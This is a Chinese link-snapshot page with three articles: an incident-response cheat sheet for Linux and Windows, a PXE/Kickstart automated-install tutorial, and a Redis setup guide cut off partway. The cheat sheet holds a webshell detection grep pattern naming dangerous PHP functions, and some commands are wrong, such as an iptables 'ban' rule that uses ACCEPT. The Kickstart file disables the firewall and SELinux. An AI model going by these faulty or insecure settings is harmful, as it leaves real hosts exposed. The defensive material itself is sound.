添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
linux+windows应急响应必备常识
应急响应流程收到客户的主机中毒事件的问题通报,然后向客户获取中毒主机的ssh远程连接权限,或者到客户现场进行现场排查,(这种情况较少)。注意事项1. 了解安全事件情况 • 现在遇到了什么问题? • 什么时间发现的?如何发现的?谁发现的? • 服务器是否有异常?具体特征是什么?安全设备是否有告警? • 什么系统?用了什么中间件?什么开发语言?业务架构是什么?网络拓扑大概是什么样子?设备有没有重启或者关机过?是否有日志服务器? • 需要我解决什么? 2. 事件初步判定 • 根据客户所描述的信息,对事件形成初步判断,建立排查方向与应急思路 • 判断自己能否处理,不能处理是否有其他同事可以处理 3. 不要执行更改文件属性命令和操作; • 特定环境下文件的属性是可以改变的,甚至攻击者可以不改变文件属性前 提修改文件内容 • 保持样本最原始的属性和权限以及用户,方便溯源 • 利用cp之后很可能在恢复阶段时候业务会宕掉(注意权限问题) 4. linux不要执行rm -rf 的命令; • 可以加-f,但是-rf 组合一定慎用 • 最好还是mv,移除样本 5. 取样本的时候建议使用mv命令移到文件夹; • mkdir $HOME/sample建一个sample文件夹 • mv 样本 $HOME/sample下 6. linux的bash默认只记录1000条,超过就会被覆盖; • 建议先备份$HOME/.bash_history • 或者对history进行加固 7. linux终端交互式shell不只有bash一种; • zsh • csh排查思路,以及常用的命令Linux「查看进程」ps aux ps -ef pstree -aup 1 每个逻辑CPU状态 x 高亮排序列 ps aux | grep pidlsof -i:port -i 筛选关键字,比如进程名、PID、USER、IPv4/IPv6、TCP/UDP pstree -aphn -a 显示该进程命令行参数 -p 显示pid -h 高亮当前进程以及父进程 -n 按照pid排序「网络连接」netstat -antlp -a 显示所有连接和端口 -n 以数字形式显示ip和port -t 显示tcp -l 显示监听的服务 -p 显示建立连接的进程名以及pid ESTABLISHED 建立连接、LISTENING 侦听状态、TIME_WAIT 连接超时 ss –antpr -a 显示所有连接和端口 -n 不解析服务的名称 -t 显示tcp sockets -l 显示监听的端口 -p 显示监听端口的进程 -r 把ip解析为域名 tcpdump –i eht0 -w eee.pcap -i 要抓取的网卡接口 -w 要保存的文件名 -C 100m 大于100M分割为另一个包 -c 10000 超过1万个停止抓包 src host xxx 仅仅捕获由该主机发起的流量 drc host xxx 仅仅捕获发往该ip地址的流量 src port xxx 仅仅捕获由该端口发起的流量 #查看 PID 所对应的进程文件路径 file /proc/$PID/exe「异常文件」ls -alth -a 显示所有文件 -l 显示文件权限,属组属主,大小,日期 - t 按照时间顺序排序 -h 高亮 strace -f -e trace=file 接可执行文件 -e 跟踪子进程 -f 跟踪类型,file、process、trace, abbrev, verbose, raw, signal, read, write, fault,inject, status, kvm find path –name xxx search_filename/directory find path -name "*.php" -exec tar -rvf sss.tar.gz {} \; • find / \( -path /etc -o -path /usr \) -prune -o -name '*.conf' -mtime 修改时间 -ctime 属性权限更改 -atime 访问时间 grep file_content search_directory -R 搜索字符串 -P 使用正则匹配 -n 包含字符串文件的行号 grep -RPn "(xx.xx.xx) *\(" /var/log grep -RPn “assthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" /var/www strings strings /usr/bin/.sshd | grep '[1-9]{1,3}.[1-9]{1,3}.' //分析sshd文件,是否包括IP信息 lsattr/chattr -a 只能增加数据,但不能删除 -i 不能删除,改名,设定链接,不能写入或新增 lsattr malaware_file chattr –i malaware_file chattr +i malaware_file hexdump -b 以8进制显示输出结果 -c 以ASCII码显示输出结果 -C 以〸进制+ASCII码显示输出结果「后门账户」#主要查看uid为0的账户 cat /etc/passwd #查询特权用户特权用户(uid 为0) awk -F: '$3==0{print $1}' /etc/passwd #查询可以远程登录的帐号信息 awk '/\$1|\$6/{print $1}' /etc/shadow #除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限 more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" #禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头 usermod -L user #将删除user用户,并且将/home目录下的user目录一并删除 userdel -r user「ssh公钥」/root/.ssh/authorized_keys「登录日志」 last lastb 登陆失败 lastlog 最后一次登陆「查看启动项」more /etc/rc.local「查看服务」#查看服务自启动状态 chkconfig --list「任务计划」crontab -l 查看计划任务 crontab -e 编辑计划任务 crontab -r 删除计划任务 crontab -u 查看某用户计划任务 ls -al /var/spool/cron/* cat /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/cron /var/spool/anacron #查看目录下所有文件 more /etc/cron.d/* /etc/anacrontab /var/spool/anacron/*「系统信息排查」#du -s 显示总计 -h 以合适单位输出统计结果 -u 显示当前文件系统空间使用情况 #lspci -v 以初阶显示设备详细信息 -vv 以进阶显示设备详细信息 -s xx:xx –vv 仅显示总线和 插槽的设备信息,xx:xx数值可以通过lspci获得 #lsusb -v 显示USB的详细信息 -s xx:xx –vv 仅显示总线和设备号的设备信息,xx:xx数 值可以通过lspci获得 -d xx:xx仅显示指定厂商和产品编号的设备 who 显示当前所有登陆的信息 whereis 查找二进制文件路径 uname -a 打印系统信息 #last description: 列出目前与过去登陆系统的信息 log_path: /var/log/wtmp 会读取wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。 #lastb description: 列出登陆失败系统的信息 log_path: /var/log/btmp 它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来#systemctl 系统服务管理指令 systemctl status sshd 查看ssh服务状态 systemctl start sshd 启动ssh服务 systemctl stop sshd 关闭ssh服务 systemctl enable sshd 设置ssh开机自启动 systemctl disbale sshd 关闭ssh开机自启动 service 控制系统服务指令 command_usage: service 'service_name' status/start/stop/restart #rsyslog日志配置 configuration_file: /etc/rsyslog.conf configuration_directory: /etc/rsyslog.d/ #lastlog description: 显示所有用户最后一次登陆信息 log_path: /var/log/lastlog 它根据UID排序显示登录名、端口号(tty)和上次登录时间。 如果一个用户从未登录过,lastlog显示**Never logged**「一些防火墙基础」#iptables -t 接表名(raw'网址过滤',nat'地址转换',filter'包过滤',mangle'数据包修改') - L 列出表里的规则 -n 显示IP - v 显示进阶的信息展示 -A 将规则添加到最后,只有放到最后才能执行 -i 指定网卡接口 -j 执行操作(包括有且不限于ACCEPT、DROP、RRDIRECT) systemctl start/stop/restart/status iptables 防火墙开启、关闭、重启、状态 iptables –L INPUT/OUTPUT -n 查看入站/出站规则 iptables -D INPUT 接规则号 iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允许某个网段连接22端口 iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某个网段对连接22端口#firewalld --state 防火墙状态 --reload 不中断服务重启加载 --compete-reload 中断所有连接重新加载 --runtime-to-premanent 永久保存添加的规则 --check-config 检查配置 --get-log-denied 查看拒绝日志 --set-loag-denied 接参数 设置拒绝日志监测等级(all/unicats/broardcast/multicast/off) systemctl start/stop/restart/status firewalld 防火墙开启、关闭、重启、状态 firewalld-cmd –-state 查看防火墙状态 firewalld-cmd –-list-services 查看开放的服务 firewalld-cmdd –-add-ports=22/tcp 开启22端口 firewalld-cmdd –-remove-ports=22/tcp 关闭22端口 firewalld-cmd –-reload 更新防火墙规则「关键系统命令是否被替换」这个随便输几个试一试「几个关键的日志文件」SSH /var/log/secure 记录系统 /var/log/message 计划任务日志 /var/log/cron 记录所有用户的登录 /var/log/wtmp「树形系统结构与应急」/bin binary的简写 存放着linux基础的可执行文件,例如ls、cd ....... 该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户) /usr/bin 本地登陆用户可访问应用程序/可执行二进制文件 一般恶意软件更容易感染该目录下文件,例如ssh、top、crontab....... /sbin binary的简写 存放着linux基础的可执行文件,例如ls、cd ....... 该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户) /usr/sbin 在系统启动期间本地登陆的管理用户有关系统管理的可执行二进制文件 该目录一般不容易出问题,除非是git.kernel.org被搞了,里边命令例如 fastboot、fdisk、grub....... unix software resource的简写 登陆用户对linux操作的实际目录,包含了linux的应用程序/可执行程序、64/32 位的依赖库、登陆用户的配置文件、登陆用户的底层管理程序、头文件 可以理解为linux的缓存目录,大多数情况会以只读挂载到/usr下用于系统的缓 存数据和应用程序的缓存,例如应用程序缓存、标准库、某个程序运行导致的 文件设备的锁定(apt、yum)、日志文件、pid信息 /lib、/lib32、/lib64、libex32、/libexec /lib主要包含内核模块、引导系统以及linux运行所需要的基本共享库 /lib<qual>在不同(32/64)环境下会调用不同的基本共享库 /libx32 是面向x32 ABI(x32 Application Binary Interface)的目标文件和库 /libexec不由用户和shell执行的二进制文件,一些lfs用于产品会有libexec作为部 署程序 一些二进制可执行程序劫持,会将so文件释放到/lib下 device的简写 存放着一些特殊的文件和设备文件位置 /dev/null 是类Unix系统中的一个特殊文件设备,他的作用是接受一切输入它的 数据并丢弃这些数据。 mount的简写,挂接光驱、USB设备的目录 mount /dev/nvme0n1pxx /mnt/xxxx // 挂载 umount /mnt/xxxx //卸载 /proc linux伪文件系统,存储了系统正在运行的所有信息,例如高级电源管理、引导参数、 所有设备使情况...... 通常我们会用ls –alth /proc/*/exe,查看某恶意进程对应的二进制文件或查看文件已 经被删除,但是进程还在跑的情况 linux伪文件系统,为linux提供内核、驱动、设备信息,包括但不限于各种总线,有点 类似于window硬件管理 /root、/home root用户目录、普通用户目录 都存放着用户shell相关的配置文件,例如.bashrc、.bash_history、.ssh、.config、 profile 可能会存在恶意alias(bashrc)、攻击留下来的历史命令信息(.bash_history)、用来维 持权限的免密登陆(.ssh/authorized_keys)、一些软件的配置信息(.config) /boot 主要存放linux内核文件以及引导加载程序,出现问题的比较少,利用难度比较高 该目录是临时文件系统, 存储是启动之后的所有信息 区别于/var目录,主要存储用户主动产生的数据和对外的服务 临时文件目录,用户存放用户产生的临时文件,可以随时销毁,或者系统可以自动销 毁,权限比较低 由于权限比较低,所以恶意软件或者攻击行为会在此路径下生成或落地木马以及工具。「Rootkit查杀」专用查杀工具 chkrootkit rkhunter「linux常用工具」nethogs 是一个小型的“网络顶部”工具。它不像大多数工具那样按协议或每个子网分解流量,而是按进程对带宽进行分组。iftop iftop用于查看网络上的流量情况,包括实时速率、总流量、平均流量等,是一款实时流量监控工具。Windows「进程」#查看进程 tasklist tasklist –m |findstr "string" -m 显示所有exe/dll的服务,如果没有指定参数将显示所有加载模块 -svc 显示每个进程服务 -v 显示所有进程详细服务信息 #强制停止某进程 taskkill /T /F /PID #获取进程的全路径 wmic process | finderstr “xxxx”「异常网络流量」#可用fistr过滤,类似Linux的grep命令 netstat -antop tcp -a 显示所有连接和端口 -n 以数字形式显示ip和port -t 显示连接状态 -o 显示连接关联进程ID -p TCP/UDP > eee.txt 如果连接很多可以接>,输出到文件, cat eee.txt |awk '{print $2}' ESTABLISHED 建立连接 LISTENING 侦听状态 TIME_WAIT 连接超时 SYN_SENT 请求连接 SYN_RECVD 收到请求连接 #打印路由表 route print #查看网络代理配置情况 REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"「敏感文件路径」%WINDIR% %WINDIR%/System32 %TEMP% %APPDATA% %LOCALAPPDATA% %LOCALAPPDATA%\Low %ProgramData%\Temp %ProgramData%\Temp\Low %UserProfile%\Recent「账户」查询登陆系统会话query user把账户踢出会话logoff ID打开lusrmgr.msc,查看是否有新增/可疑的账号用D盾 -> 查看服务器是否存在隐藏账号、克隆账号「查看启动项」运行->msconfig 引导、服务、工具 #查看系统开机时间 net statistics workstation #查看系统计划任务 schtasks /query /fo LIST /v #查看程序启动信息 wmic startup get command,caption #查看主机服务信息 wmic service list brief「计划任务」一些恶意软件通常会写入计划任 务达到维持权限,横向的目的命令类的: 运行->tasksch.msc工具类的: Autoruns、这台计算机->(右键)计算机管理->计划任务程序「系统日志」win +r eventvwr.msc或者计算机管理——事件查看器事件日志分析「对于Windows事件日志分析,不同的EVENT ID代表了不同的意义」事件ID说明4624登录成功4625登录失败4634注销成功4647用户启动的注销4672使用超级用户(如管理员)进行登录4720创建用户「每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式」登录类型描述说明2c(Interactive)用户在本地进行登录。3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时。4批处理(Batch)通常表明某计划任务启动。5服务(Service)每种服务都被配置在某个特定的用户账号下运行。7解锁(Unlock)屏保解锁。8网络明文(NetworkCleartext)登录的密码在网络上是通过明文传输的,如FTP。9新凭证(NewCredentials)使用带/Netonly参数的RUNAS命令运行一个程序。10远程交互,(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机。11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可「系统补丁是否打全」#cmd systeminfo #工具和在线地址 https://i.hacking8.com/tiquan https://github.com/bitsadmin/wesng「其他排查项」杀毒软件功能是否异常?是否有异常驱动文件?C:\Windows\System32\drivers都记录了那些日志,Web日志「映像劫持」参考学习文档https://ssooking.github.io/2019/12/windows%E5%90%8E%E9%97%A8-%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81/「工具篇」微软官方的几款工具 具体介绍百度,或者参考以前的安服工程师修炼手册autoruns https://docs.microsoft.com/en-us/sysinternals/downloads/autorunstcpview https://docs.microsoft.com/en-us/sysinternals/downloads/tcpviewprocexp https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorerNetwork Monitor https://www.microsoft.com/en-us/download/confirmation.aspx?id=4865火绒剑 卡巴斯基 dr.web 无需安装、不与其他杀毒软件冲突、不会被病毒限制启动wirshark 流量抓包神器 可以抓五层流量,应、表、会、传、网、数ip.addr== 匹配地址(源/目的) 数据包 tcp.port== 匹配TCP端口 http.request.uri=="xxx" 匹配指定URL http.host == "domain" 匹配域名的数据包具体教程:https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFiltersBrowser_Network_AnalysisF12检查功能,用途网页篡改,可以用Burpsuite或者Wireshark替代,根据网页文件、js、css加载顺序,时间先后顺序判断网页跳转所在。webshell排查❝常见的检测方法有基于主机的流量-文件-日志检测、关键字(危险函数)匹配、语义分析等❞web日志审计access.log(/var/log/nginx)使用工具查杀Web目录Windows:D盾 - http://www.d99net.net/down/WebShellKill_V2.0.9.zipLinux:河马 - https://www.shellpub.com/但工具查杀不靠谱,还是要手动查看Web目录下的可解析执行文件;通过Web访问日志分析可快速定位到webshell位置。「网站被植入WebShell的应急响应流程」主要关注Web日志,看有哪些异常的HTTP访问,如果有源码,可以用文件对比的方法快速定位Webshell。(一定要是客户备份的源码,千万不要直接到主源码上操作。)定位时间和范围:扫描WebShell位置;定位文件创建的时间;检查Web根目录.htaccess文件Web日志审计:例如查看access.log(/var/log/nginx),下载到本地审计漏洞分析:分析可能存在漏洞的地方,复现漏洞GetShell。漏洞修复:清除WebShell并修复漏洞对系统和Web应用进行安全加固
pxe实现自动化部署安装高效批量网络装机
前言对于一个想要从事运维的人员,学会自动化部署,是一件十分便捷的事情,者可以让你的工作效率大大提高,事半功倍一、pxe简介1.1pxe是什么?PXE 是由 Intel 公司开发的网络引导技术,工作在 Client/Server 模式,允许客户机通过网络从远程服务器下载引导镜像,并加载安装文件或者整个操作系统。PXE 严格来说并不是一种安装方式,而是一种引导的方式。进行 PXE 安装的必要条件是要安装的计算机中包含一个 PXE 支持的网卡(NIC),即网卡中必须要有 PXE Client。PXE (Pre-boot Execution Environment)协议使计算机可以通过网络启动。协议分为 Client 端 和 Server 端,PXE Client 在网卡的 ROM 中,当计算机引导时,BIOS 把 PXE Client 调入内存执行,由 PXE Client 将放置在远端的文件通过网络下载到本地运行。运行 PXE 协议需要设置 DHCP 服务器 和 TFTP 服务器。DHCP 服务器用来给 PXE Client(将要安装系统的主机)分配一个 IP 地址,由于是给 PXE client 分配 IP 地址,所以在配置 DHCP 服务器时需要增加相应的 PXE 设置。PXE 是由 Intel 公司开发的网络引导技术,工作在 Client/Server 模式,允许客户机通过网络从远程服务器下载引导镜像,并加载安装文件或者整个操作系统。PXE 严格来说并不是一种安装方式,而是一种引导的方式。进行 PXE 安装的必要条件是要安装的计算机中包含一个 PXE 支持的网卡(NIC),即网卡中必须要有 PXE Client。PXE (Pre-boot Execution Environment)协议使计算机可以通过网络启动。协议分为 Client 端 和 Server 端,PXE Client 在网卡的 ROM 中,当计算机引导时,BIOS 把 PXE Client 调入内存执行,由 PXE Client 将放置在远端的文件通过网络下载到本地运行。运行 PXE 协议需要设置 DHCP 服务器 和 TFTP 服务器。DHCP 服务器用来给 PXE Client(将要安装系统的主机)分配一个 IP 地址,由于是给 PXE client 分配 IP 地址,所以在配置 DHCP 服务器时需要增加相应的 PXE 设置。1.2PXE批量部署的优缺点规模化:同时装配多台服务器自动化:安装系统、配置各种服务远程实现:不需要光盘、U盘等安装介质缺点:同时安装的服务器裸机若是过多,则需要考虑带宽是否够用 即传输介质1.3搭建PXE网络体系前提条件1.3.1服务端网络中有一台DHCP服务器以便为客户机自动分配地址、指定引导文件位置。服务器要通过TFTP服务(简单文件传输协议)来提供系统内核和引导镜像文件的下载1.3.2客户端客户机的网卡支持PXE协议 (集成BOOTROM芯片),且主板支持网络引导。一般大多数服务器的主机都支持,只需要在BIOS设置中允许从Network或LAN启动即可。二、PXE服务的构建过程PXE客户机发出DHCP请求,向DHCP服务器申请IP地址,DHCP服务器响应PXE客户机的请求,自动从IP地址池中分配一个IP地址给PXE客户机,并且告 知PXE客户机:TFTP服务器的IP地址和PXE引导程序文件pxelinux.0,默认在TFTP共享目 录/var/lib/tftpboot/下PXE客户机向TFTP服务器发起获取pxelinux.0引导程序文件的请求。TFTP服务器响应PXE客户机的请求,将其共享的pxelinux.0文件传输给PXE客户机。PXE客户机通过网络来启动到系统安装主界面。PXE客户机向文件共享服务器(ftp、http、nfs等)发起获取centos或windows系统安装文件的请求。文件共享服务响应PXE客户机的请求,将共享的系统安装文件传输给PXE客户机。PXE客户机进入到安装提示向导界面,用户需要手动来完成系统安装的操作三、搭建PXE远程安装服务器PXE远程安装服务器集成了CentOS7安装源、TFTP服务、DHCP服务,能够向客户机裸机发送PXE引导程序、Linux内核、启动菜单等数据,以及提供安装文件。3.1搭建 PXE 远程安装服务器所需安装包vsftpd //用来放置安装镜像,通过ftp访问镜像安装dhcp.x86_64 12:4.2.5-7pd-3.0.2-27.el7.x86_64.r9.el7.centos //用来给客户机分配ipsyslinux-4.05-15.el7.x86_64.rpm //用来提供pxe的引导程序tftp-server.x86_64 0:5.2-22.el7.rpm //用来提供引导镜像文件的下载xinetd.x86_64 2:2.3.15-14.el7 //用来托管tftpsystem-config-kickstart.noarch 0:2.9.7-1.el7.rpm //用来无人值守安装3.2环境准备一台作为pxe服务器,一台作为裸金属客户机,绑定同一块网卡,裸金属客户机vmnet1网卡取消勾选dhcp配置关闭selinux和防火墙主机服务器地址:192.168.94.19主机名:localhost一台主机:1)配置双网卡 一个作用是dhcp,一个是使用网络源安装环境包2)DHCP部署3)tftp-server 服务器通过 TFTP(Trivial File Transfer Protocol,简单文件传输协议)提供引导镜像文件的下载。4)syslinux //用来提供pxe的引导程序5)xinetd //用来托管tftp6)vsftpd //用来放置安装镜像,通过ftp访问镜像安装7)kickstart //用来无人值守安装3.3搭建 PXE 远程安装服务器3.3.1在主机服务器上先配置双网卡作用:一个作用是dhcp,一个是使用网络源安装环境包新建网卡:查看VMnet1网段3.3.1.1进入ens37 并修改 需改完后刷新3.3.1.2进入ens37修改配置[root@localhost network-scripts]# vim ifcfg-ens37 #编辑ens37网卡3.3.1.3配置完一定要重启网卡并查看x修改成功没3.3.2安装并启用 DHCP 服务3.3.2.1安装DHCP[root@localhost ~]# yum install -y dhcp #安装dhcp软件包[root@localhost ~]# cp /usr/share/doc/dhcp-4.2.5/dhcpd.conf.example /etc/dhcp/dhcpd.conf #将dhcp配置模板复制到dhcp配置文件中3.3.2.2配置DHCP[root@localhost ~]# vim /etc/dhcp/dhcpd.conf #修改DHCP服务的配置文件DNS:8.8.8.8和114.114.114.114都可以3.3.2.3重启DHCP[root@localhost dhcp]# systemctl start dhcpd #开启dhcp服务[root@localhost dhcp]# systemctl status dhcpd #开启dhcp服务开机自启3.3.3安装并启动TFTP服务TFTP(简单文件传输协议),是一个基于UDP协议实现的用于在客户机和服务器之间进行简单文件传输的协议,适合于小文件传输的应用场合。TFTP服务默认由xinetd服务进行管理,使用UDP 端口69xinetd是新一代的网络守护进程服务程序,又叫超级服务器,常用来管理多种轻量级Internet服务。TFTP和FTP的区别就是他没有交互式,并且不进行身份验证3.3.3.1安装TFTP[root@localhost dhcp]# yum install -y tftp-server.x86_64 #安装[root@localhost pxeboot]# yum install -y xinetd #安装xinetd对TFTP服务进行管理,tftp被xinet所托管,xinetd默认没有安装xinetd是新一代的网络守护进程服务程序,又叫超级Internet服务器。经常用来管理多种轻量级Internet服务。xinetd提供类似于inetd+tcp_wrapper的功能,但是更加强大和安全3.3.3.2修改TFTP服务的配置文件[root@localhost dhcp]# vim /etc/xinetd.d/tftp #修改TFTP服务的配置文件service tftp{socket_type = dgramprotocol = udpwait = no //wait no表示客户机可以多台一起连接,yes表示客户机只能一台一台连接,表示是否开启多线程一起工作,否则需要等待user = rootserver = /usr/sbin/in.tftpdserver_args = -s /var/lib/tftpboot //指定TFTP根目录(引导文件的存储路径) -c允许上传disable = no //disable no表示开启TFTP服务per_source = 11 //通过限制一个主机的最大连接数,从而防止某个主机独占某个服务,这里每个IP地址的连接数是11个cps = 100 2 //表示服务器最多启动100个连接,如果达到这个数目将停止启动新服务2秒。在此期间不接受任何请求flags = IPv4}3.3.3.3启动两个服务并设置开机自启[root@localhost pxeboot]# systemctl start xinetd.service[root@localhost pxeboot]# systemctl enable xinetd.service[root@localhost pxeboot]# systemctl start tftp[root@localhost pxeboot]# systemctl enable tftp3.3.3.4查看服务状态[root@localhost pxeboot]# netstat -atnulp|grep xinet[root@localhost pxeboot]# netstat -atnulp|grep dhcp3.3.4准备 PXE 引导程序pxelinux.0是个二进制文件,主要作用相当于一个系统安装步骤的指引,引导客户端如何安装系统yum provides /pxelinux.0 #查找这个文件是由哪个软件包安装的,当不是一个路径和一个软件包时用/yum -y install syslinuxrpm -ql syslinux | grep pxelinux #查找pxe引导程序的位置cp /usr/share/syslinux/pxelinux.0 /var/lib/tftpboot/ #拷贝到tftp的根目录下,系统引导文件注,只有安装了 system-config-kickstart 软件包,才会有/usr/share/syslinux/目录及目录中的文件3.3.4.1查找这个文件是由哪个软件包安装的3.3.4.2安装syslinux服务[root@localhost pxeboot]# yum install syslinux -y3.3.4.3复制系统引导文件[root@localhost pxeboot]# cp /usr/share/syslinux/pxelinux.0 /var/lib/tftpboot/3.3.5配置启动菜单文件启动菜单用来指导客户机的引导过程,包括如何调用内核,如何加载驱动。默认的启动菜单文件为 default,应放置在 tftp 根目录的 pxelinux.cfg 子目录下,典型的启动菜单配置可参考以下操作自动或手动建立。至于为什么要是/var/lib/tftpboot/pxelinux.cfg/default文件,因为是由pxelinux.0这个文件决定好的mkdir /var/lib/tftpboot/pxelinux.cfg //默认pxelinux.cfg是没有的需要手动创建,注意它是一个目录而非文件虽然是以.cfg结尾default auto #指定默认入口名称,对应下面的label autoprompt 1 #设置是否等待用户选择,“1”表示等待用户控制,0表示不等待用户控制,安装时会出现boot:如果按回车表示选择auto模式label auto #图形安装(默认)引导入口,label 用来定义启动项kernel vmlinuz #kernel 和 append用来定义引导参数append initrd=initrd.img method=ftp://192.168.184.10/centos7label linux text #文本安装引导入口 出现boot:时输入linux textkernel vmlinuzappend text initrd=initrd.img method=ftp://192.168.184.10/centos7label linux rescue #救援模式引导入口出现boot:时输入linux rescuekernel vmlinuzappend rescue initrd=initrd.img method=ftp://192.168.184.10/centos73.3.6安装FTP服务,准备Centos 7 安装源yum -y install vsftpd #安装vsftpd服务mkdir /var/ftp/centos7 #在ftp根目录下创建目录centos7cp -rf /mnt/* /var/ftp/centos7/ #将镜像文件强制复制到centos7目录中,可加&让它自己后台运行systemctl start vsftpd #开启vsftpd服务systemctl enable vsftpd #开启vsftpd服务开机自启3.3.6.1安装ftp服务yum -y install vsftpd #安装vsftpd服务3.3.6.2创建目录并将镜像文件复制到目录下mkdir /var/ftp/centos7 #在ftp根目录下创建目录centos7cp -rf /mnt/* /var/ftp/centos7/ #将镜像文件强制复制到centos7目录中,可加&让它自己后台运行3.3.6.3启动服务并开机自启[root@localhost pxeboot]# systemctl start vsftpd[root@localhost pxeboot]# systemctl enable vsftpd四、实现Kickstart无人值守安装4.1准备安装应答文件yum install -y system-config-kickstart #安装system-config-kickstart 工具4.2打开“Kickstart 配置程序”窗口通过桌面菜单“应用程序”–>“系统工具”–>“Kickstart” 打开或执行 “system-config-kickstart” 命令打开4.3配置kickstart选项4.3.1基本配置默认语言设为“中文(简体)”时区设为“Asia/Shanghai”设置root密码高级配置中勾选“安装后重启”。4.3.2安装方法4.3.3引导装载程序选项“安装类型”:安装新引导装载程序“安装选项”:在主引导记录(MBR)中安装引导装载程序4.3.4分区信息主引导记录:不清除主引导记录分区:删除所有现存分区磁盘标签:初始化磁盘标签布局:添加分区挂载点:/boot,文件系统类型:xfs,固定大小:500M文件系统类型:swap,固定大小:4096M挂载点:/home,文件系统类型:xfs,固定大小:4096M挂载点:/,文件系统类型:xfs,使用磁盘上全部未使用空间4.3.5网络配置添加网络设备“ens33”网络类型设为“DHCP”4.3.6防火墙配置禁用 SELinux、禁用防火墙4.3.6安装后脚本mkdir /etc/yum.repos.d/bakmv /etc/yum.repos.d/*.repo /etc/yum.repos.d/bakecho “[local]name=localbaseurl=ftp://192.168.100.100/centos7enabled=1gpgcheck=0” > /etc/yum.repos.d/local.repo4.3.7保存自动应答文件选择“Kickstart 配置程序”窗口的“文件”–>“保存”命令,选择指定保存位置,文件名为ks.cfg默认保存在/root/ks.cfg4.3.8配置需要安装的软件包root@localhost ~]# vim /var/ftp/ks.cfg #platform=x86, AMD64, 或 Intel EM64T #version=DEVEL6, # Install OS instead of upgrade install //全新安装 # Keyboard layouts keyboard 'us' //英文键盘 # Root password rootpw --iscrypted $1$6qKSDsgs$eaNnQ18jrgccQjSX95B9Z. //root密码 # Use network installation url --url="ftp://192.168.100.100/centos7" '网络安装源' //网络安装路径 # System language lang zh_CN //系统语言,zh_CN表示中文 # Firewall configuration firewall --disabled # System authorization information auth --useshadow --passalgo=sha512 # Use graphical install graphical //字符模式安装,graphical表示图形化安装 firstboot --disable # SELinux configuration selinux --disabled //禁用selinux # Firewall configuration firewall --disabled //禁用防火墙 # Network information network --bootproto=dhcp --device=ens33 //网卡配置 # Reboot after installation reboot //安装完重启 # System timezone timezone Asia/Shanghai // 时区:上海 # System bootloader configuration bootloader --location=mbr //mbr引导 # Partition clearing information clearpart --all //清除所有分区信息和初始化分区标签 # Disk partitioning information part /boot --fstype="xfs" --size=512 //分区配置 part /home --fstype="xfs" --size=4096 part swap --fstype="swap" --size=4096 part / --fstype="xfs" --grow --size=1 %packages '定制的软件包组' //最小安装 @^gnome-desktop-environment //安装桌面环境 @base //安装基础软件包 @core @desktop-debugging @dial-up @directory-client @fonts @gnome-desktop @guest-agents @guest-desktop-agents @guest-agents @guest-desktop-agents @input-methods @internet-browser @java-platform @multimedia @network-file-system-client @networkmanager-submodules @print-client @x11 chrony 4.3.9编辑引导菜单文件 default,添加 ks 引导参数cp /root/ks.cfg /var/ftp/ks.cfgvim /var/lib/tftpboot/pxelinux.cfg/defaultdefault autoprompt 0 #设置是否等待用户选择,“0”表示不等待用户控制label autokernel vmlinuz #kernel 和 append用来定义引导参数append initrd=initrd.img method=ftp://192.168.100.100/centos7 ks=ftp://192.168.100.100/ks.cfg4.4验证无人值守安装五、总结部署PXE远程安装服务实现PXE+kickstart无人值守安装操作系统
Redis|Linux版安装|非关系型数据库
Redis简介Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。执行速度: 读速度 11.2万次/秒 写速度8.6万/次平均10万次/秒。1.2 Linux中Redis的下载1.2.1准备安装此安装手册同级目录下已为大家准备好安装软件,大家直接使用安装即可,具体安装步骤请跳跃到1.3Redis的安装模块进行安装,如图1所示。图1 Redis下载示意图-1获取方式第 1 步:关注「程序员秘录」公众号第 2 步:在「程序员秘录」后台,复制软件名 Redis 回复即可获取1.2.2 软件下载链接登录http://www.redis.cn/,进入Redis中文官方网站,如图2所示,可以选择下载最新版和往期版本,点击即可下载完毕,此处最新版本为6.0.6,此次安装手册以redis5.04版本作为演示。图2 Redis下载示意图-21.2.3 寻找安装软件我们已经成功把Redis软件下载完毕了~接下来就是正式的安装,请大家找到自己下载完毕的软件,具体查找方式,由于大家使用浏览器可能不一样,所以在这里分享部分浏览器查找下载文件方式。谷歌浏览器查找下载文件方式:https://jingyan.baidu.com/article/cbf0e500d1fc766faa289383.htmlIE浏览器查找下载文件方式:https://jingyan.baidu.com/article/642c9d342c2a10644a46f7be.html火狐浏览器查找下载文件方式:http://www.somode.com/jiaocheng/248.html1.3 